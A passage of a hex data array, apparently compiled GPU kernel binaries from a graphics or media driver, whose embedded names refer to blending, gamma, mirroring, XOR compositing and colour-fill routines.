0x00000001, 0x0000008c, 0x00000028, 0x00000007, 0x00000001, 0x000000b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000014, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x6f435f6c, 0x5374736e, 0x6c426372, 0x00646e65, 0x736e6f43, 0x63725374,
0x6e656c42, 0x34345f64, 0x36315f34, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c,
0x00000020, 0x00010000, 0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014,
0x00000024, 0x00000004, 0x00000000, 0x00000040, 0x00000029, 0x00000005, 0x00000001, 0x0000006c,
0x00000028, 0x00000006, 0x00000001, 0x00000094, 0x00000028, 0x00000007, 0x00000001, 0x000000bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x00000098, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x0000000d, 0x00000000, 0x00000000, 0x00000040,
0x00000002, 0x6c614300, 0x61475f6c, 0x43616d6d, 0x6d614700, 0x0043616d, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000040, 0xbfff007f, 0x00000010, 0x3fff006c,
0x00000020, 0x00010000, 0x00000030, 0x3fff006d, 0x00000040, 0xbfff007f, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004,
0x00000000, 0x00000040, 0x00000014, 0x00000005, 0x00000001, 0x00000054, 0x00000020, 0x00000006,
0x00000001, 0x00000074, 0x00000020, 0x00000007, 0x00000001, 0x00000094, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000b4, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000013, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x694d5f6c, 0x726f7272, 0x595f485f, 0x4d005655, 0x6f727269, 0x5f485f72,
0x00565559, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030,
0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000, 0x00000030,
0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f, 0x00000000, 0x00000000, 0x00000000,
0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001,
0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004, 0x00000000,
0x00000040, 0x00000020, 0x00000005, 0x00000001, 0x00000060, 0x00000028, 0x00000006, 0x00000001,
0x00000088, 0x00000028, 0x00000007, 0x00000001, 0x000000b0, 0x00000002, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000014, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x694d5f6c, 0x726f7272, 0x595f485f, 0x00415655, 0x7272694d, 0x485f726f,
0x5655595f, 0x00000041, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004,
0x00000000, 0x00000040, 0x00000022, 0x00000005, 0x00000001, 0x00000064, 0x00000028, 0x00000006,
0x00000001, 0x0000008c, 0x00000028, 0x00000007, 0x00000001, 0x000000b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000010, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x61505f6c, 0x6c427472, 0x00646e65, 0x74726150, 0x6e656c42, 0x34345f64,
0x36315f34, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004,
0x00000000, 0x00000040, 0x00000021, 0x00000005, 0x00000001, 0x00000064, 0x00000028, 0x00000006,
0x00000001, 0x0000008c, 0x00000028, 0x00000007, 0x00000001, 0x000000b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000b4, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x0000000f, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x72535f6c, 0x656c4263, 0x5300646e, 0x6c426372, 0x5f646e65, 0x5f343434,
0x00003631, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030,
0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000, 0x00000030,
0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f, 0x00000000, 0x00000000, 0x00000000,
0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001,
0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004, 0x00000000,
0x00000040, 0x0000001f, 0x00000005, 0x00000001, 0x00000060, 0x00000028, 0x00000006, 0x00000001,
0x00000088, 0x00000028, 0x00000007, 0x00000001, 0x000000b0, 0x00000002, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000015, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x72535f6c, 0x656c4263, 0x345f646e, 0x73746962, 0x63725300, 0x6e656c42,
0x62345f64, 0x5f737469, 0x5f343434, 0x00003631, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c,
0x00000020, 0x00010000, 0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014,
0x00000024, 0x00000004, 0x00000000, 0x00000040, 0x0000002b, 0x00000005, 0x00000001, 0x0000006c,
0x00000028, 0x00000006, 0x00000001, 0x00000094, 0x00000028, 0x00000007, 0x00000001, 0x000000bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000000c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000014, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x4f585f6c, 0x6f435f52, 0x736f706d, 0x00657469, 0x5f524f58, 0x706d6f43,
0x7469736f, 0x34345f65, 0x36315f34, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c,
0x00000020, 0x00010000, 0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014,
0x00000024, 0x00000004, 0x00000000, 0x00000040, 0x00000029, 0x00000005, 0x00000001, 0x0000006c,
0x00000028, 0x00000006, 0x00000001, 0x00000094, 0x00000028, 0x00000007, 0x00000001, 0x000000bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000000c8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000019, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x4f585f6c, 0x6f4d5f52, 0x435f6f6e, 0x6f706d6f, 0x65746973, 0x524f5800,
0x6e6f4d5f, 0x6f435f6f, 0x736f706d, 0x5f657469, 0x5f343434, 0x00003631, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f,
0x00000010, 0x3fff006c, 0x00000020, 0x00010000, 0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d,
0x00000050, 0xbfff007f, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x00000038, 0x00000008, 0x00040003,
0x00000000, 0x00000014, 0x00000024, 0x00000004, 0x00000000, 0x00000040, 0x00000033, 0x00000005,
0x00000001, 0x00000074, 0x00000028, 0x00000006, 0x00000001, 0x0000009c, 0x00000028, 0x00000007,
0x00000001, 0x000000c4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000007a0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00020001,
0x6c6f4300, 0x0045726f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006b, 0x00000030, 0xbfff006e, 0x00000040, 0xbfff004a, 0x00000050, 0xbfff006f,
0x00000060, 0xbfff0051, 0x00000080, 0xbfff0058, 0x00000090, 0xbfff005f, 0x000000e0, 0x3fff000a,
0x000000e0, 0x3fff000b, 0x000000e0, 0x3fff000c, 0x000000e0, 0x3fff000d, 0x000000e0, 0x3fff000e,
0x000000e0, 0x3fff000f, 0x000000e0, 0x3fff0010, 0x000000e0, 0x3fff0011, 0x000000e0, 0x3fff0012,
0x000000e0, 0x3fff0013, 0x000000e0, 0x3fff0014, 0x000000e0, 0x3fff0015, 0x000000e0, 0x3fff0016,
0x000000e0, 0x3fff0017, 0x000000e0, 0x3fff0018, 0x000000e0, 0x3fff0019, 0x000000e0, 0x3fff001a,
0x000000e0, 0x3fff001b, 0x000000e0, 0x3fff001c, 0x000000e0, 0x3fff001d, 0x000000e0, 0x3fff001e,
0x000000e0, 0x3fff001f, 0x000000e0, 0x3fff0020, 0x000000e0, 0x3fff0021, 0x000000e0, 0x3fff0022,
0x000000e0, 0x3fff0023, 0x000000e0, 0x3fff0024, 0x000000e0, 0x3fff0025, 0x000000e0, 0x3fff0026,
0x000000e0, 0x3fff0027, 0x000000e0, 0x3fff0028, 0x000000e0, 0x3fff0029, 0x000000e0, 0x3fff002a,
0x000000e0, 0x3fff002b, 0x000000e0, 0x3fff002c, 0x000000e0, 0x3fff002d, 0x000000e0, 0x3fff002e,
0x000000e0, 0x3fff002f, 0x000000e0, 0x3fff0030, 0x000000e0, 0x3fff0031, 0x000000e0, 0x3fff0032,
0x000000e0, 0x3fff0033, 0x000000e0, 0x3fff0034, 0x000000e0, 0x3fff0035, 0x000000e0, 0x3fff0036,
0x000000e0, 0x3fff0037, 0x000000e0, 0x3fff0038, 0x000000e0, 0x3fff0039, 0x000000e0, 0x3fff003a,
0x000000e0, 0x3fff003b, 0x000000e0, 0x3fff003c, 0x000000e0, 0x3fff003d, 0x000000e0, 0x3fff003e,
0x000000e0, 0x3fff003f, 0x000000e0, 0x3fff0040, 0x000000e0, 0x3fff0041, 0x000000e0, 0x3fff0042,
0x000000e0, 0x3fff0043, 0x000000e0, 0x3fff0044, 0x000000e0, 0x3fff0045, 0x000000e0, 0x3fff0046,
0x000000e0, 0x3fff0047, 0x000000e0, 0x3fff0048, 0x000000e0, 0x3fff0049, 0x000000e0, 0x3fff004b,
0x000000e0, 0x3fff004c, 0x000000e0, 0x3fff004d, 0x000000e0, 0x3fff004e, 0x000000e0, 0x3fff004f,
0x000000e0, 0x3fff0050, 0x000000e0, 0x3fff0052, 0x000000e0, 0x3fff0053, 0x000000e0, 0x3fff0054,
0x000000e0, 0x3fff0055, 0x000000e0, 0x3fff0056, 0x000000e0, 0x3fff0057, 0x000000e0, 0x3fff0059,
0x000000e0, 0x3fff005a, 0x000000e0, 0x3fff005b, 0x000000e0, 0x3fff005c, 0x000000e0, 0x3fff005d,
0x000000e0, 0x3fff005e, 0x000000e0, 0x3fff0060, 0x000000e0, 0x3fff0061, 0x000000e0, 0x3fff0062,
0x000000e0, 0x3fff0063, 0x000000e0, 0x3fff0064, 0x000000e0, 0x3fff0065, 0x000000e0, 0x3fff0066,
0x000000e0, 0x3fff0067, 0x000000e0, 0x3fff0068, 0x000000e0, 0x3fff0069, 0x000000e0, 0xbfff0070,
0x000000e0, 0xbfff0071, 0x000000f0, 0xbfff0072, 0x000000f0, 0xbfff0073, 0x00000100, 0xbfff0074,
0x00000110, 0xbfff0075, 0x00000130, 0xbfff0076, 0x00000130, 0xbfff0077, 0x00000140, 0xbfff0078,
0x00000140, 0xbfff0079, 0x00000160, 0xbfff007a, 0x00000160, 0xbfff007b, 0x00000170, 0xbfff007c,
0x00000170, 0xbfff007d, 0x000006f0, 0xbfff007e, 0x00000710, 0x3fff007f, 0x00000020, 0x00010000,
0x00000030, 0x3fff006b, 0x00000090, 0x3fff0000, 0x00000640, 0x3fff006c, 0x00000640, 0x3fff006d,
0x00000650, 0x3fff006e, 0x00000650, 0x3fff006f, 0x00000670, 0x3fff0073, 0x00000670, 0x3fff0074,
0x00000680, 0x3fff0070, 0x00000680, 0x3fff0071, 0x00000690, 0x3fff0072, 0x000006a0, 0x3fff0075,
0x000006a0, 0x3fff0076, 0x000006c0, 0x3fff0077, 0x000006c0, 0x3fff0078, 0x000006d0, 0x3fff0079,
0x000006d0, 0x3fff007a, 0x000006f0, 0x3fff007b, 0x000006f0, 0x3fff007c, 0x00000700, 0x3fff007d,
0x00000700, 0x3fff007e, 0x00000700, 0xbfff000a, 0x00000700, 0xbfff000b, 0x00000700, 0xbfff000c,
0x00000700, 0xbfff000d, 0x00000700, 0xbfff000e, 0x00000700, 0xbfff000f, 0x00000700, 0xbfff0010,
0x00000700, 0xbfff0011, 0x00000700, 0xbfff0012, 0x00000700, 0xbfff0013, 0x00000700, 0xbfff0014,
0x00000700, 0xbfff0015, 0x00000700, 0xbfff0016, 0x00000700, 0xbfff0017, 0x00000700, 0xbfff0018,
0x00000700, 0xbfff0019, 0x00000700, 0xbfff001a, 0x00000700, 0xbfff001b, 0x00000700, 0xbfff001c,
0x00000700, 0xbfff001d, 0x00000700, 0xbfff001e, 0x00000700, 0xbfff001f, 0x00000700, 0xbfff0020,
0x00000700, 0xbfff0021, 0x00000700, 0xbfff0022, 0x00000700, 0xbfff0023, 0x00000700, 0xbfff0024,
0x00000700, 0xbfff0025, 0x00000700, 0xbfff0026, 0x00000700, 0xbfff0027, 0x00000700, 0xbfff0028,
0x00000700, 0xbfff0029, 0x00000700, 0xbfff002a, 0x00000700, 0xbfff002b, 0x00000700, 0xbfff002c,
0x00000700, 0xbfff002d, 0x00000700, 0xbfff002e, 0x00000700, 0xbfff002f, 0x00000700, 0xbfff0030,
0x00000700, 0xbfff0031, 0x00000700, 0xbfff0032, 0x00000700, 0xbfff0033, 0x00000700, 0xbfff0034,
0x00000700, 0xbfff0035, 0x00000700, 0xbfff0036, 0x00000700, 0xbfff0037, 0x00000700, 0xbfff0038,
0x00000700, 0xbfff0039, 0x00000700, 0xbfff003a, 0x00000700, 0xbfff003b, 0x00000700, 0xbfff003c,
0x00000700, 0xbfff003d, 0x00000700, 0xbfff003e, 0x00000700, 0xbfff003f, 0x00000700, 0xbfff0040,
0x00000700, 0xbfff0041, 0x00000700, 0xbfff0042, 0x00000700, 0xbfff0043, 0x00000700, 0xbfff0044,
0x00000700, 0xbfff0045, 0x00000700, 0xbfff0046, 0x00000700, 0xbfff0047, 0x00000700, 0xbfff0048,
0x00000700, 0xbfff0049, 0x00000700, 0xbfff004a, 0x00000700, 0xbfff004b, 0x00000700, 0xbfff004c,
0x00000700, 0xbfff004d, 0x00000700, 0xbfff004e, 0x00000700, 0xbfff004f, 0x00000700, 0xbfff0050,
0x00000700, 0xbfff0051, 0x00000700, 0xbfff0052, 0x00000700, 0xbfff0053, 0x00000700, 0xbfff0054,
0x00000700, 0xbfff0055, 0x00000700, 0xbfff0056, 0x00000700, 0xbfff0057, 0x00000700, 0xbfff0058,
0x00000700, 0xbfff0059, 0x00000700, 0xbfff005a, 0x00000700, 0xbfff005b, 0x00000700, 0xbfff005c,
0x00000700, 0xbfff005d, 0x00000700, 0xbfff005e, 0x00000700, 0xbfff005f, 0x00000700, 0xbfff0060,
0x00000700, 0xbfff0061, 0x00000700, 0xbfff0062, 0x00000700, 0xbfff0063, 0x00000700, 0xbfff0064,
0x00000700, 0xbfff0065, 0x00000700, 0xbfff0066, 0x00000700, 0xbfff0067, 0x00000700, 0xbfff0068,
0x00000700, 0xbfff0069, 0x00000710, 0x3fff007f, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000008, 0x00000005, 0x00000001, 0x00000034, 0x000003b0, 0x00000006, 0x00000001, 0x000003e4,
0x000003b8, 0x00000007, 0x00000001, 0x0000079c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000004c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x6c6f4300, 0x6966726f, 0x345f6c6c, 0x63533434, 0x31656c61, 0x00000036, 0x00000000, 0x00000000,
0x00000000, 0x8000006e, 0x00000020, 0x8001006f, 0x00000030, 0x3fff006b, 0x00000040, 0xbfff006c,
0x00000050, 0x3fff0002, 0x00000090, 0x3fff0009, 0x00000090, 0xbfff006d, 0x000000e0, 0xbfff000a,
0x000000f0, 0xbfff000c, 0x00000100, 0xbfff000e, 0x00000110, 0xbfff0010, 0x00000120, 0xbfff000b,
0x00000130, 0xbfff000d, 0x00000140, 0xbfff000f, 0x00000150, 0xbfff0011, 0x00000160, 0xbfff0012,
0x00000170, 0xbfff0014, 0x00000180, 0xbfff0016, 0x00000190, 0xbfff0018, 0x000001a0, 0xbfff0013,
0x000001b0, 0xbfff0015, 0x000001c0, 0xbfff0017, 0x000001d0, 0xbfff0019, 0x00000220, 0xbfff001a,
0x00000230, 0xbfff001c, 0x00000240, 0xbfff001e, 0x00000250, 0xbfff0020, 0x00000260, 0xbfff001b,
0x00000270, 0xbfff001d, 0x00000280, 0xbfff001f, 0x00000290, 0xbfff0021, 0x000002a0, 0xbfff0022,
0x000002b0, 0xbfff0024, 0x000002c0, 0xbfff0026, 0x000002d0, 0xbfff0028, 0x000002e0, 0xbfff0023,
0x000002f0, 0xbfff0025, 0x00000300, 0xbfff0027, 0x00000310, 0xbfff0029, 0x00000360, 0xbfff002a,
0x00000370, 0xbfff002c, 0x00000380, 0xbfff002e, 0x00000390, 0xbfff0030, 0x000003a0, 0xbfff002b,
0x000003b0, 0xbfff002d, 0x000003c0, 0xbfff002f, 0x000003d0, 0xbfff0031, 0x000003e0, 0xbfff0032,
0x000003f0, 0xbfff0034, 0x00000400, 0xbfff0036, 0x00000410, 0xbfff0038, 0x00000420, 0xbfff0033,
0x00000430, 0xbfff0035, 0x00000440, 0xbfff0037, 0x00000450, 0xbfff0039, 0x000004b0, 0xbfff003a,
0x000004c0, 0xbfff003c, 0x000004d0, 0xbfff003e, 0x000004e0, 0xbfff0040, 0x000004f0, 0xbfff003b,
0x00000500, 0xbfff003d, 0x00000510, 0xbfff003f, 0x00000520, 0xbfff0041, 0x00000530, 0xbfff0042,
0x00000540, 0xbfff0044, 0x00000550, 0xbfff0046, 0x00000560, 0xbfff0048, 0x00000570, 0xbfff0043,
0x00000580, 0xbfff0045, 0x00000590, 0xbfff0047, 0x000005a0, 0xbfff0049, 0x00000010, 0x3fff006e,
0x00000020, 0x00010000, 0x00000030, 0x3fff006b, 0x00000050, 0x3fff0002, 0x000000e0, 0xbfff000a,
0x000000f0, 0xbfff000c, 0x00000100, 0xbfff000e, 0x00000110, 0xbfff0010, 0x00000120, 0xbfff000b,
0x00000130, 0xbfff000d, 0x00000140, 0xbfff000f, 0x00000150, 0xbfff0011, 0x00000160, 0xbfff0012,
0x00000170, 0xbfff0014, 0x00000180, 0xbfff0016, 0x00000190, 0xbfff0018, 0x000001a0, 0xbfff0013,
0x000001b0, 0xbfff0015, 0x000001c0, 0xbfff0017, 0x000001d0, 0xbfff0019, 0x00000220, 0xbfff001a,
0x00000230, 0xbfff001c, 0x00000240, 0xbfff001e, 0x00000250, 0xbfff0020, 0x00000260, 0xbfff001b,
0x00000270, 0xbfff001d, 0x00000280, 0xbfff001f, 0x00000290, 0xbfff0021, 0x000002a0, 0xbfff0022,
0x000002b0, 0xbfff0024, 0x000002c0, 0xbfff0026, 0x000002d0, 0xbfff0028, 0x000002e0, 0xbfff0023,
0x000002f0, 0xbfff0025, 0x00000300, 0xbfff0027, 0x00000310, 0xbfff0029, 0x00000360, 0xbfff002a,
0x00000370, 0xbfff002c, 0x00000380, 0xbfff002e, 0x00000390, 0xbfff0030, 0x000003a0, 0xbfff002b,
0x000003b0, 0xbfff002d, 0x000003c0, 0xbfff002f, 0x000003d0, 0xbfff0031, 0x000003e0, 0xbfff0032,
0x000003f0, 0xbfff0034, 0x00000400, 0xbfff0036, 0x00000410, 0xbfff0038, 0x00000420, 0xbfff0033,
0x00000430, 0xbfff0035, 0x00000440, 0xbfff0037, 0x00000450, 0xbfff0039, 0x00000490, 0x3fff006d,
0x000004a0, 0xbfff0009, 0x000004b0, 0xbfff003a, 0x000004c0, 0xbfff003c, 0x000004d0, 0xbfff003e,
0x000004e0, 0xbfff0040, 0x000004f0, 0xbfff003b, 0x00000500, 0xbfff003d, 0x00000510, 0xbfff003f,
0x00000520, 0xbfff0041, 0x00000530, 0xbfff0042, 0x00000540, 0xbfff0044, 0x00000550, 0xbfff0046,
0x00000560, 0xbfff0048, 0x00000570, 0xbfff0043, 0x00000580, 0xbfff0045, 0x00000590, 0xbfff0047,
0x000005a0, 0x3fff006c, 0x000005a0, 0xbfff0049, 0x000005b0, 0x3fff006f, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000240, 0x00000006,
0x00000001, 0x00000284, 0x00000240, 0x00000007, 0x00000001, 0x000004c4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000005b4, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x6c6f4300, 0x6966726f, 0x345f6c6c, 0x63533434,
0x31656c61, 0x6f435f36, 0x4274736e, 0x646e656c, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff006e, 0x00000040,
0x3fff0009, 0x00000070, 0xbfff0072, 0x00000080, 0xbfff006f, 0x00000090, 0xbfff0073, 0x000000a0,
0xbfff0070, 0x000000b0, 0xbfff0074, 0x000000c0, 0xbfff0071, 0x000000d0, 0xbfff0075, 0x000000e0,
0xbfff0076, 0x000000f0, 0xbfff0077, 0x00000100, 0xbfff0078, 0x00000110, 0x3fff000a, 0x00000110,
0xbfff0079, 0x00000110, 0xbfff007a, 0x00000120, 0x3fff000c, 0x00000120, 0xbfff007b, 0x00000120,
0xbfff007c, 0x00000130, 0x3fff000e, 0x00000130, 0xbfff007d, 0x00000130, 0xbfff007e, 0x00000150,
0x3fff0010, 0x000001e0, 0x3fff000b, 0x000001f0, 0x3fff000d, 0x00000200, 0x3fff000f, 0x00000210,
0x3fff0011, 0x000002b0, 0x3fff0012, 0x000002c0, 0x3fff0014, 0x000002d0, 0x3fff0016, 0x000002e0,
0x3fff0018, 0x00000380, 0x3fff0013, 0x00000390, 0x3fff0015, 0x000003a0, 0x3fff0017, 0x000003b0,
0x3fff0019, 0x00000450, 0x3fff001a, 0x00000460, 0x3fff001c, 0x00000470, 0x3fff001e, 0x00000480,
0x3fff0020, 0x00000520, 0x3fff001b, 0x00000530, 0x3fff001d, 0x00000540, 0x3fff001f, 0x00000550,
0x3fff0021, 0x000005f0, 0x3fff0022, 0x00000600, 0x3fff0024, 0x00000610, 0x3fff0026, 0x00000620,
0x3fff0028, 0x000006c0, 0x3fff0023, 0x000006d0, 0x3fff0025, 0x000006e0, 0x3fff0027, 0x000006f0,
0x3fff0029, 0x00000790, 0x3fff002a, 0x000007a0, 0x3fff002c, 0x000007b0, 0x3fff002e, 0x000007c0,
0x3fff0030, 0x00000860, 0x3fff002b, 0x00000870, 0x3fff002d, 0x00000880, 0x3fff002f, 0x00000890,
0x3fff0031, 0x00000930, 0x3fff0032, 0x00000940, 0x3fff0034, 0x00000950, 0x3fff0036, 0x00000960,
0x3fff0038, 0x00000a00, 0x3fff0033, 0x00000a10, 0x3fff0035, 0x00000a20, 0x3fff0037, 0x00000a30,
0x3fff0039, 0x00000ad0, 0x3fff003a, 0x00000ae0, 0x3fff003c, 0x00000af0, 0x3fff003e, 0x00000b00,
0x3fff0040, 0x00000ba0, 0x3fff003b, 0x00000bb0, 0x3fff003d, 0x00000bc0, 0x3fff003f, 0x00000bd0,
0x3fff0041, 0x00000c70, 0x3fff0042, 0x00000c80, 0x3fff0044, 0x00000c90, 0x3fff0046, 0x00000ca0,
0x3fff0048, 0x00000d40, 0x3fff0043, 0x00000d50, 0x3fff0045, 0x00000d60, 0x3fff0047, 0x00000d70,
0x3fff0049, 0x00000020, 0x00010000, 0x00000030, 0x3fff0002, 0x00000100, 0x3fff006e, 0x00000100,
0x3fff0074, 0x000001a0, 0xbfff000a, 0x000001b0, 0xbfff000c, 0x000001c0, 0xbfff000e, 0x000001d0,
0xbfff0010, 0x00000270, 0xbfff000b, 0x00000280, 0xbfff000d, 0x00000290, 0xbfff000f, 0x000002a0,
0xbfff0011, 0x00000340, 0xbfff0012, 0x00000350, 0xbfff0014, 0x00000360, 0xbfff0016, 0x00000370,
0xbfff0018, 0x00000410, 0xbfff0013, 0x00000420, 0xbfff0015, 0x00000430, 0xbfff0017, 0x00000440,
0xbfff0019, 0x000004e0, 0xbfff001a, 0x000004f0, 0xbfff001c, 0x00000500, 0xbfff001e, 0x00000510,
0xbfff0020, 0x000005b0, 0xbfff001b, 0x000005c0, 0xbfff001d, 0x000005d0, 0xbfff001f, 0x000005e0,
0xbfff0021, 0x00000680, 0xbfff0022, 0x00000690, 0xbfff0024, 0x000006a0, 0xbfff0026, 0x000006b0,
0xbfff0028, 0x00000750, 0xbfff0023, 0x00000760, 0xbfff0025, 0x00000770, 0xbfff0027, 0x00000780,
0xbfff0029, 0x00000820, 0xbfff002a, 0x00000830, 0xbfff002c, 0x00000840, 0xbfff002e, 0x00000850,
0xbfff0030, 0x000008f0, 0xbfff002b, 0x00000900, 0xbfff002d, 0x00000910, 0xbfff002f, 0x00000920,
0xbfff0031, 0x000009c0, 0xbfff0032, 0x000009d0, 0xbfff0034, 0x000009e0, 0xbfff0036, 0x000009f0,
0xbfff0038, 0x00000a90, 0xbfff0033, 0x00000aa0, 0xbfff0035, 0x00000ab0, 0xbfff0037, 0x00000ac0,
0xbfff0039, 0x00000b60, 0xbfff003a, 0x00000b70, 0xbfff003c, 0x00000b80, 0xbfff003e, 0x00000b90,
0xbfff0040, 0x00000c30, 0xbfff003b, 0x00000c40, 0xbfff003d, 0x00000c50, 0xbfff003f, 0x00000c60,
0xbfff0041, 0x00000d00, 0xbfff0042, 0x00000d10, 0xbfff0044, 0x00000d20, 0xbfff0046, 0x00000d30,
0xbfff0048, 0x00000d40, 0x3fff0075, 0x00000d50, 0x3fff0076, 0x00000d60, 0x3fff0077, 0x00000d70,
